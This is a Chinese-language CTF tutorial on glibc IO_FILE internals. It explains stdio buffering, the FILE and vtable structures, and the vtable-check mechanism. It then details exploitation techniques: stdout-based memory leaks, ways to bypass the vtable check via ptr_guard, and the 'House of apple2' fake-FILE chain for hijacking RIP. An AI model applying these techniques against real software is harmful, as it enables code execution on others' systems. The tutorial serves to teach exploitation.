这篇文章也是paradox师傅写的,内容非常详细,我觉得对初学者来说是很详尽且通俗易懂的文章,当然,封面也是师傅挑的。。。
IO 缓冲区 核心概念 输入/输出是站在当前进程角度 说的:
输入:外部对象 -> 当前进程 输出:当前进程 -> 外部对象
外部对象可以是:
终端、socket、pipe、普通文件、设备
程序内部的:
memcpy(dst, src, n); strcpy(dst, src); a = b;
不叫 I/O,只是内存操作。
系统调用层 直接用 read/write 时,不经过 libc 的 FILE 缓冲区。
输入 :
read(fd, target, size);
路径 :
外部对象/内核缓冲 -> target
意思是从 fd 读数据,直接写到 target。
输出 :
write(fd, source, size);
路径 :
source -> 内核缓冲/外部对象
意思是从 source 取数据,写到 fd。
所以:
read(0, buf, 0x20);
是:
stdin/socket -> buf
write(1, buf, 0x20);
是:
buf -> stdout/socket
———
libc FILE 层 使用这些函数时,会经过 FILE 结构:
输入函数: scanf fgets getc/getchar fread
输出函数: printf puts putchar fwrite fprintf
标准流: stdin -> IO_2_1_stdin stdout -> IO_2_1_stdout stderr -> IO_2_1_stderr
FILE 是 libc 对 fd 的封装 ,里面保存:
fd 编号 缓冲区范围 当前读/写位置 状态 flags 锁 vtable 函数表
———
FILE 主缓冲区 glibc 的 FILE 通常有一块主缓冲区:
_IO_buf_base _IO_buf_end
含义:
_IO_buf_base:主缓冲区起点 _IO_buf_end :主缓冲区终点
读和写通常复用这块主缓冲区,但不是正常情况下“一半给输入,一半给输出”。
更准确是:
读状态时,这块缓冲区作为输入缓冲区 写状态时,这块缓冲区作为输出缓冲区
FILE 输入缓冲 输入相关字段:
_IO_read_base _IO_read_ptr _IO_read_end
含义:
_IO_read_base:输入缓冲区有效数据起点 _IO_read_ptr :当前读到哪里,下一次从这里取 _IO_read_end :有效输入数据结尾
关系:
_IO_read_base <= _IO_read_ptr <= _IO_read_end
图示:
read_base read_ptr read_end |——————|——————| 已经读过 还没读的数据
例如:
fread(buf, 1, 8, stdin);
如果 stdin 缓冲区里已有足够数据:
stdin->_IO_read_ptr -> buf
然后:
_IO_read_ptr += 8
如果缓冲区不够:
先把剩余数据复制到 buf 再调用 read(fd, _IO_buf_base, size) 补充缓冲区 再继续复制到 buf
如果读取很大,libc 可能绕过 FILE 缓冲区:
fd -> target
FILE 输出缓冲 输出相关字段:
_IO_write_base _IO_write_ptr _IO_write_end
含义:
_IO_write_base:待输出数据起点 _IO_write_ptr :当前写到哪里 _IO_write_end :输出缓冲区可写末尾
关系:
_IO_write_base <= _IO_write_ptr <= _IO_write_end
图示:
write_base write_ptr write_end |——————|——————| 待输出数据 剩余可写空间
例如:
printf(“ABC”);
可能只是:
memcpy(_IO_write_ptr, “ABC”, 3) _IO_write_ptr += 3
此时数据还在 libc 缓冲区里。
当需要 flush 时:
write( fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base );
也就是:
_IO_write_base 到 _IO_write_ptr 的内容 -> fd
———
什么时候 flush 输出 输出缓冲区 会在这些情况刷新:
缓冲区满 fflush(fp) fclose(fp) 程序正常 exit stdout 是终端且遇到换行 stderr 通常无缓冲或少缓冲
flush 的意思是:
libc FILE 缓冲区 -> 底层 fd
不一定是写硬盘。
如果 fd 是 socket:
FILE 缓冲区 -> socket send buffer -> 网络
如果 fd 是终端:
FILE 缓冲区 -> tty -> 屏幕
如果 fd 是普通文件:
FILE 缓冲区 -> page cache -> 之后落盘
即使 fflush 成功,普通文件也通常只是进入内核 page cache;要尽量落盘还需要:
fsync(fileno(fp));
———
什么时候 refill 输入 输入缓冲区空了:
_IO_read_ptr == _IO_read_end
下一次 scanf/getchar/fread 会补充缓冲区:
read(fp->_fileno, fp->_IO_buf_base, size);
也就是:
fd -> FILE 输入缓冲区
然后再从 FILE 缓冲区复制到你的目标变量。
———
内核缓冲区 就算不用 libc FILE 缓冲,内核层通常也有缓冲/缓存。
socket: 网络 -> socket receive buffer -> read() -> 程序 程序 -> write() -> socket send buffer -> 网络
pipe: 写端进程 -> pipe buffer -> 读端进程
普通文件: 读:磁盘 -> page cache -> 程序 写:程序 -> page cache -> 磁盘
终端 tty: 键盘输入 -> tty 输入队列 -> read() -> 程序 程序 write() -> tty 输出队列 -> 屏幕
所以内核层也有“输入侧/输出侧”的概念,但不同对象模型不同。
———
普通文件和 socket 的区别 socket 通常很明确:
receive buffer send buffer
文件不是这种模型。普通文件主要是:
page cache
同一套 page cache 同时服务读和写:
读:page cache -> 程序 写:程序 -> page cache,标记 dirty,之后写回磁盘
所以文件不是“接收缓冲区/发送缓冲区”,而是“文件页缓存”。
———
FILE 和 fd 的关系
fd 是内核层面的整数句柄,通常指向外部 FILE 是 libc 层面的结构体封装
例如:
printf(“hi”);
大致是:
printf -> stdout FILE 缓冲区 -> write(stdout->_fileno, …)
其中:
stdout->_fileno == 1
直接系统调用:
write(1, “hi”, 2);
则绕过 stdout 的 FILE 缓冲区。
———
pwn 里为什么重要 因为很多程序没有 show,但有:
puts(“menu”); printf(“choice:”);
这些走 stdout 的 FILE 结构。
如果你能改:
IO_2_1_stdout
就可能影响输出逻辑。
常见泄露本质是让 libc flush 时执行类似:
write(1, fake_write_base, fake_write_ptr - fake_write_base);
于是它会把你指定范围的内存输出出来。
重点字段:
_flags _IO_write_base _IO_write_ptr _IO_write_end _IO_buf_base _IO_buf_end _fileno _lock vtable
简单理解:
想让 stdout 泄露: 控制“从哪里输出”和“输出多长” 核心就是 write_base 和 write_ptr 还要保证 fileno 是 1,flags 合理,不触发崩溃
IO_FILE 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pwndbg> ptype stdout type = struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; # 本质上是通过修改这个结构体泄露 char *_IO_write_ptr; # 这两个指针地址之间的内容 char *_IO_write_end; # 输出内容的结尾 char *_IO_buf_base; # 缓冲区的基地址 char *_IO_buf_end; # 缓冲区的结束地址 char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[20 ]; } *
_IO_FILE_plus 1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
1 2 3 4 IO_list_all 管理整个 FILE 对象链表: _IO_list_all -> FILE -> FILE -> FILE 连接字段是 _IO_FILE 里的: _chain,(具体链表图在下方)
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量 **_IO_list_all** 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。
_IO_FILE 负责保存这个流的状态:_flags,读缓冲区指针,写缓冲区指针,buf_base / buf_end ,_fileno,_lock,_chain,_mode
vtable 负责保存“这个流该怎么操作”的函数表。
里面是一组函数指针,比如:overflow,underflow ,xsputn ,xsgetn ,seekoff ,close, read ,write
vtable 指向函数虚表的指针
在创建file时,就会根据file的属性对 IO_jump_t类型的指针vtable进行赋值,指向对应类型的函数表(IO_jump_t的对象)的表头,并通过索引去调用具体函数。在理念上确实实现了c++的多态,所以c++的编译器通过将类似这种的c代码进行封装得到的多态 (Virtual)
IO_jump_t 一个结构体,根据file的类型形成了诸多对象(实例)eg:_IO_file_jumps、_IO_str_jumps、_IO_wfile_jumps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif }; struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; }; extern struct _IO_FILE_plus *_IO_list_all ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 struct _IO_jump_t { size_t __dummy; size_t __dummy2; _IO_finish_t __finish; _IO_overflow_t __overflow; _IO_underflow_t __underflow; _IO_underflow_t __uflow; _IO_pbackfail_t __pbackfail; _IO_xsputn_t __xsputn; _IO_xsgetn_t __xsgetn; _IO_seekoff_t __seekoff; _IO_seekpos_t __seekpos; _IO_setbuf_t __setbuf; _IO_sync_t __sync; _IO_doallocate_t __doallocate; _IO_read_t __read; _IO_write_t __write; _IO_seek_t __seek; _IO_close_t __close; _IO_stat_t __stat; _IO_showmanyc_t __showmanyc; _IO_imbue_t __imbue; };
例子 1 2 用 _IO_wfile_jumps 举一个例子: 其中,带default的都是共用的函数,大都在genops.c里面;new_file和file的大都在fileops.c里面;wdefault是宽字符共用的函数,大都在wgenops.c里面;只有wfile的才是自己单独定义的函数,在wfileops.c里面。从上面可以看出wfile单独定义的操作只有5个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; libc_hidden_data_def (_IO_wfile_jumps)
_IO_wfile_jumps 是宽字符普通文件流的 vtable 它通过一张函数表把 wfile 专用函数、wide 默认函数、普通 file 函数和通用 default 函数组合起来 (宽字节内容见io_wide)
_flags 标志位 int类型的变量,通过32bit的每一个位置去标记各种信息,类似于堆中size位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define _IO_MAGIC 0xFBAD0000 #define _OLD_STDIO_MAGIC 0xFABC0000 #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 1 #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 #define _IO_NO_WRITES 8 #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 #define _IO_LINKED 0x80 #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ● _IO_MAGIC: 文件流对象的魔数,用来识别是否为有效的文件流对象。魔数是一种用来标识数据结构类型的简单方法。 ● _OLD_STDIO_MAGIC: 用来兼容旧版本的stdio库实现。 ● _IO_MAGIC_MASK: 用于从文件流对象的标志字段中提取魔数。 ● _IO_USER_BUF: 标记用户提供的缓冲区。当设置了这个标志后,在关闭文件时不会释放该缓冲区。 ● _IO_UNBUFFERED: 标记文件流是无缓冲的,每次读写操作都会直接访问底层设备。 ● _IO_NO_READS: 标记文件流不允许读取操作。 ● _IO_NO_WRITES: 标记文件流不允许写入操作。 ● _IO_EOF_SEEN: 标记已经到达文件末尾(EOF)。 ● _IO_ERR_SEEN: 标记已经发生错误。 ● _IO_DELETE_DONT_CLOSE: 在清理文件流时不要调用底层的关闭函数。 ● _IO_LINKED: 标记是否链接到 streambuf::_list_all 列表中。 ● _IO_IN_BACKUP: 标记备份模式是否启用。 ● _IO_LINE_BUF: 标记为行缓冲模式。 ● _IO_TIED_PUT_GET: 标记输入输出指针是否逻辑上绑定在一起(通常用于标准输入输出)。 ● _IO_CURRENTLY_PUTTING: 标记当前是否处于写入状态。 ● _IO_IS_APPENDING: 标记是否在追加模式下。 ● _IO_IS_FILEBUF: 标记是否使用内建的缓冲区。 ● _IO_BAD_SEEN: 标记是否遇到坏输入。 ● _IO_USER_LOCK: 标记用户提供的互斥锁。
_IO_wide_data 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
与io_file的联系 *通过观察_IO_wide_data的代码也可以看出,这是类似于io_file的又附属于io_file的结构体。它们属于同一个 FILE fp,共享底层 fd、文件偏移、锁、状态管理。同时也拥有各自的vitable,vitable指向对应的函数表_
1 2 3 4 5 6 7 8 9 vtable 关系 普通路径: _IO_FILE_plus->vtable -> _IO_file_jumps / _IO_str_jumps / ... 宽字符路径: _IO_FILE->_wide_data->_wide_vtable -> _IO_wfile_jumps / _IO_wstr_jumps / ... 所以二者都有类似“函数表”的机制。
同时也有诸多不同
_io_file是定义普通字节流的,_IO_wide_data是定义宽字节流的。对应产生的就是类型的不同,普通是char*,而宽字节是wchar*
对于缓冲区不是同一块内存,IO_wide_data有自己独立的缓冲区内存
_IO_wide_data 本身没有类似于io_file独立的 _IO_wide_list_all 这种全局链表
代码会根据下面不同的函数调用去使用不同的api接口(普通字节流或宽字节流)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 普通字节 API: fgets fread fscanf fprintf printf puts fgetc fputc 走普通 _IO_FILE 字节缓冲区: char buffer 宽字符 API: fgetwc fgetws fwscanf fwprintf wprintf fputwc 走 _IO_wide_data 宽字符路径: wchar_t buffer
所以因为其类似的性质,在后续对于vtable的加强检查之下,_IO_wide_data成为另一种攻击思路
_IO_wfile_jumps 是宽字符普通文件流的 vtable 它通过一张函数表把 wfile 专用函数、wide 默认函数、普通 file 函数和通用 default 函数组合起来。
1 2 用 _IO_wfile_jumps 举一个例子: 其中,带default的都是共用的函数,大都在genops.c里面;new_file和file的大都在fileops.c里面;wdefault是宽字符共用的函数,大都在wgenops.c里面;只有wfile的才是自己单独定义的函数,在wfileops.c里面。从上面可以看出wfile单独定义的操作只有5个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; libc_hidden_data_def (_IO_wfile_jumps)
虚表检查 用于检查_IO_FILE_plus–>vitable的地址合法性
glibc 2.24+ 的 vtable check 是在通过 FILE->vtable 间接调用函数前,检查 vtable 指针是否落在 libc 内部合法的 IO vtable 区域中 。 如果不在,就调用 _IO_vtable_check,通常直接 abort
虚表范围 虚表位置判断主要在IO_validate_vtable函数,2.37以前判断区间为_IO_helper_jumps - _IO_str_jumps之间的区域 0xd60,里面有以下虚表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 _IO_helper_jumps _IO_helper_jumps _IO_cookie_jumps _IO_proc_jumps _IO_str_chk_jumps _IO_wstrn_jumps _IO_wstr_jumps _IO_wfile_jumps_maybe_mmap _IO_wfile_jumps_mmap __GI__IO_wfile_jumps _IO_wmem_jumps _IO_mem_jumps _IO_strn_jumps _IO_obstack_jumps _IO_file_jumps_maybe_mmap _IO_file_jumps_mmap __GI__IO_file_jumps _IO_str_jumps
IO_validate_vtable 在 glibc 2.24+ 里大概长这样,位置通常在:libio/libioP.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
1 2 3 4 5 6 7 8 9 10 11 12 13 1. __start___libc_IO_vtables 是合法虚表区域起点 2. __stop___libc_IO_vtables 是合法虚表区域终点 3. section_length = 合法区域大小 4. offset = 当前 vtable - 合法区域起点 5. 如果 offset >= section_length,说明 vtable 不在合法区域 6. 调用 _IO_vtable_check() 7. 否则返回 vtable,允许继续调用 所以判断条件本质是: if (vtable < __start___libc_IO_vtables || vtable >= __stop___libc_IO_vtables) { _IO_vtable_check(); }
2.37 以前的 vtable check 是区间检查 ; 只要 vtable 落在 _IO_helper_jumps 到 _IO_str_jumps 这段合法 IO vtables 区域就通过; 因此不能把 vtable 指向堆,但可以指向 libc 内部已有跳表,甚至某些版本可利用区间内偏移做错位调用
_IO_vtable_check 如果不符合vtable的检查,就会进入以下函数
1 2 3 4 5 6 7 8 9 10 void attribute_hidden _IO_vtable_check (void ){ #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ;
该函数不是直接vtable错误而后报错,他还会检查当前环境是否允许foreign vtable (即外部虚表 ,不属于当前 libc __libc_IO_vtables 区域的 vtable),如果允许那么就不会报错,正常调用vtable
代码释意 1 2 3 4 5 1. 读取用原子方式读取 IO_accept_foreign_vtables 的当前值,但不施加强内存顺序约束。 2. 如果启用了指针混淆,就对 flag 解混淆 3. 如果解出来的 flag 等于 _IO_vtable_check 函数地址 4. 说明允许 foreign vtable 5. 直接 return,放行
所以可以看出因为 过去允许一些“外部构造的 stream/vtable”参与 stdio 机制。后来 glibc 加 vtable check 是为了安全,但不能完全破 坏旧程序、特殊动态链接场景或非默认 namespace 场景 ,会有一个兼容开关,去允许外部虚表的使用,但是这个开关受 pointer guard保护 ,这就联系到了 PTR_MANGLE/PTR_DEMANGLE 加解密,对于这个是比较特殊的,他是用一个进程内随机值保护函数指针
这种加解密一般用于保存某些敏感函数指针,不直接保存真实地址
1 2 3 4 5 6 x86_64 常见形式: PTR_MANGLE(p): p = rol(p ^ ptr_guard, 0x11 ) PTR_DEMANGLE(p): p = ror(p, 0x11 ) ^ ptr_guard ptr_guard就是用于加解密的随机种子/密钥
所以只要解密后的flag等于&_IO_vtable_check 就可以绕过检查
绕过方法 1 2 3 4 5 泄露ptr_guard,反算IO_accept_foreign_vtables然后修改 条件: 1. 泄露 libc base,得到 &_IO_vtable_check 2. 泄露 ptr_guard 3. 有任意地址写,能写 IO_accept_foreign_vtables
1 2 3 4 5 6 7 8 9 10 不改 IO_accept_foreign_vtables,改 ptr_guard 一般情况下 IO_accept_foreign_vtables = 0 那么: demangle(0) = ror(0, 0x11) ^ ptr_guard = 0 ^ ptr_guard = ptr_guard 所以只要把: ptr_guard = &_IO_vtable_check
另外还有重要的一点,ptr_guard与ld强相关,需要ld 文件
因为 ptr_guard 通常和动态链接器 ld.so / TLS 相关,不是 libc 里一个普通符号偏移那么简单,需要通过ld来定位ptr_guard或确认偏移
因为在学习的时候也并没有接触到这种题,所以解释也是个大概
外置虚表 check_stdfiles_vtables函数是设置外置虚表的函数,就是用于打开上面所说的兼容开关,但是一般是在程序启动初始化阶段执行的 它主要用于启动时检查标准流:stdin stdout stderr 的 vtable 是否是正常的 _IO_file_jumps。如果启动时发现这些标准流的 vtable 已经不是默认值,glibc 就认为可能存在旧 ABI / 外部 streambuf 兼容场景,于是打开IO_accept_foreign_vtables
所以如果可以控制执行 check_stdfiles_vtables 也是可以绕过虚表检查的
1 2 3 4 5 6 7 static void check_stdfiles_vtables (void) { if (_IO_2_1_stdin_.vtable != &_IO_file_jumps || _IO_2_1_stdout_.vtable != &_IO_file_jumps || _IO_2_1_stderr_.vtable != &_IO_file_jumps) IO_set_accept_foreign_vtables (&_IO_vtable_check); }
宽字符跳表 是_IO_wide_data 里的 wide vtable; 它负责宽字符 I/O 的函数分发,是普通 FILE vtable 之外的另一套函数表入口。因为glibc 2.36 及以前普通 vtable 有范围检查,但 wide_vtable 的某些引用没有同等保护 ,所以这是另一种攻击线路
利用手法与实例 知识 一 1 2 FILE *fp fp=fopen("123.txt" ,"rw" )
fp 类型为FILE * 指向struct IO_FILE的实例的地址,又因为struct _IO_FILE_plus将 FILE 与vtable包装在一起,所以 fp指向的地址可以理解为,所以FILE与vtable物理相邻
1 2 3 _IO_FILE_plus 对象的起始地址 ==里面 file 成员的起始地址 ==FILE *fp 的值
二 stdin / stdout / stderr 变量的固定存储 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 进程启动后,程序 .bss 段三个固定位置各存一个 libc 地址,指向 libc 里三个 FILE 结构体本体。 ┌──────────┬──────────────┬─────────────────────┬────────────────────┐ │ 程序变量 │ 地址(.bss) │ 存的值(运行时) │ 指向 libc 本体 │ ├──────────┼──────────────┼─────────────────────┼────────────────────┤ │ stdin │ 0x4030 │ _IO_2_1_stdin_ 地址 │ libc_base + │ │ │ │ │ 0x2038e0 │ ├──────────┼──────────────┼─────────────────────┼────────────────────┤ │ stdout │ 0x4020 │ _IO_2_1_stdout_ │ libc_base + │ │ │ │ 地址 │ 0x2045c0 │ ├──────────┼──────────────┼─────────────────────┼────────────────────┤ │ stderr │ 0x4040 │ _IO_2_1_stderr_ │ libc_base + │ │ │ │ 地址 │ 0x2044e0 │ └──────────┴──────────────┴─────────────────────┴────────────────────┘ 1. 链接时(磁盘文件) .bss 里三个位置全是 0,但 .rela.dyn 有三条 COPY 重定位: off=0x4020 sym=stdout type=R_X86_64_COPY off=0x4030 sym=stdin type=R_X86_64_COPY off=0x4040 sym=stderr type=R_X86_64_COPY 2. 程序启动时(ld.so 执行重定位) ld.so 在 main 之前逐个处理 COPY 项,把 libc 里对应符号的值复制进程序 .bss: 0x4020 ← _IO_2_1_stdout_ 地址 0x4030 ← _IO_2_1_stdin_ 地址 0x4040 ← _IO_2_1_stderr_ 地址 3. 之后任何指令读这三个位置 - printf("gift: %p", *(0x4020)) → 打印 _IO_2_1_stdout_ 地址 - read(0, *(0x4020), 0x300) → 往 _IO_2_1_stdout_ 本体写 关键点 - 不靠变量名:CPU只按编译写死的偏移读(0x1191→0x4030、0x11af→0x4020、0x11cd→0x4040) - 文件里是 0:三个位置都在 .bss,不占文件内容,靠 ld.so 启动时填 - 机制是 COPY 重定位:链接器打标记,运行时 ld.so 复制 libc 符号值进来 stdin/stdout/stderr 是程序 .bss 段里三个 8 字节指针变量(0x4030/0x4020/0x4040),文件里为 0,靠 .rela.dyn 里三条 R_X86_64_COPY 重定位在启动时由 ld.so 填入 libc 里三个 _IO_2_1_* 结构体的地址。之后程序读这三个位置就拿对应 FILE 的 libc 地址。
手法 House of apple2 链1 1 2 3 4 5 6 7 8 利用 _IO_wfile_overflow 函数控制程序执行流: ● _flags = ~(2 | 0x8 | 0x800 ) ● vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移) ● _wide_data = 可控堆地址A(即满足 *(fp+0xa0 )=A) ● _wide_data->_IO_write_base = 0 (即满足 *(A+0x18 )=0 ) ● _wide_data->_IO_buf_base = 0 (即满足 *(A+0x30 )=0 ) ● _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0 )=B) ● _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68 )=C)
一些解释与理解
1 2 3 4 5 6 7 8 apple2 链 1 的核心是:glibc 2.24+ 对窄表 vtable 调用有 _IO_vtable_check 校验,而 _wide_data->_wide_vtable的调用(宏 _IO_WDOALLOCATE/_IO_WOVERFLOW)完全无校验, 所以把 fp->vtable(+0xd8) 指向 libc 里合法的表_IO_wfile_jumps(注意:_IO_wfile_overflow 是它 _IO_wfile_jumps+0x18 槽位 __overflow里的函数,不是表指针)来通过校验并充当领路人 再伪造 _wide_data(A,位于 fp+0xa0) 与宽表(B,位于 A+0xe0)两个堆结构 并伪造四个字段——清 _flags 的 0x8(_IO_NO_WRITES,撕掉"禁写"标志让写函数进门)、清0x800(_IO_CURRENTLY_PUTTING) 且令 A+0x18(_IO_write_base)=0(让 _IO_wfile_overflow判定"当前无写缓冲"而去调用 _IO_wdoallocbuf)、令 A+0x30(_IO_buf_base)=0(让 _IO_wdoallocbuf第一行确认"确实无缓冲"不提前 return)、清 0x2(_IO_UNBUFFERED,让 _IO_wdoallocbuf判定"这是需要缓冲的正常流"从而进入分配分支)——从而把执行流一步步逼到裸查宽表的宏 _IO_WDOALLOCATE,它从 B+0x68(doallocate) 槽位取出我们伪造的 C 并执行 call C(fp),至此拿到 RIP; 整个过程依赖 exit/fflush等函数 →_IO_flush_all_lockp 遍历 _IO_list_all 触发(假 fp 还需满足 mode<=0 &&write_ptr>write_base,或 mode>0 &&wide write_ptr>wide write_base),且该宏只传 rdi=fp 一个参数,所以 C 通常选 one_gadget,或setcontext+61(其 mov rsp,[rdi+0xa0] 把栈迁到 A 上打 ROP),若要 system 则把 _flags 布成 " sh\x00" 使 rdi即命令串。
_IO_UNBUFFERED: 标记文件流是无缓冲的,每次读写操作都会直接访问底层设备 _IO_NO_WRITES: 标记文件流不允许写入操作。 _IO_CURRENTLY_PUTTING: 标记当前是否处于写入状态。
小知识点:
按位与&
二进制下,对应位都是1 返回1 其余返回0,最终返回一个经过按位与运算的二进制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 _IO_wfile_overflow(wfileops.c)—— Gate A / Gate B wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL ) { if (f->_wide_data->_IO_write_base == NULL ) { _IO_wdoallocbuf (f); if (f->_wide_data->_IO_buf_base == NULL ) { ... } } ... } ... } void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return ; if (!(fp->_flags & _IO_UNBUFFERED) || _IO_wide_data (fp) == _IO_wstdin) { if (_IO_WDOALLOCATE (fp) != WEOF) return ; } _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1 , 0 ); }
触发前我们要伪造号目标fp,或是在堆上创造一个或是改stdout等
触发函数 <–回溯栈函数(exit…..)
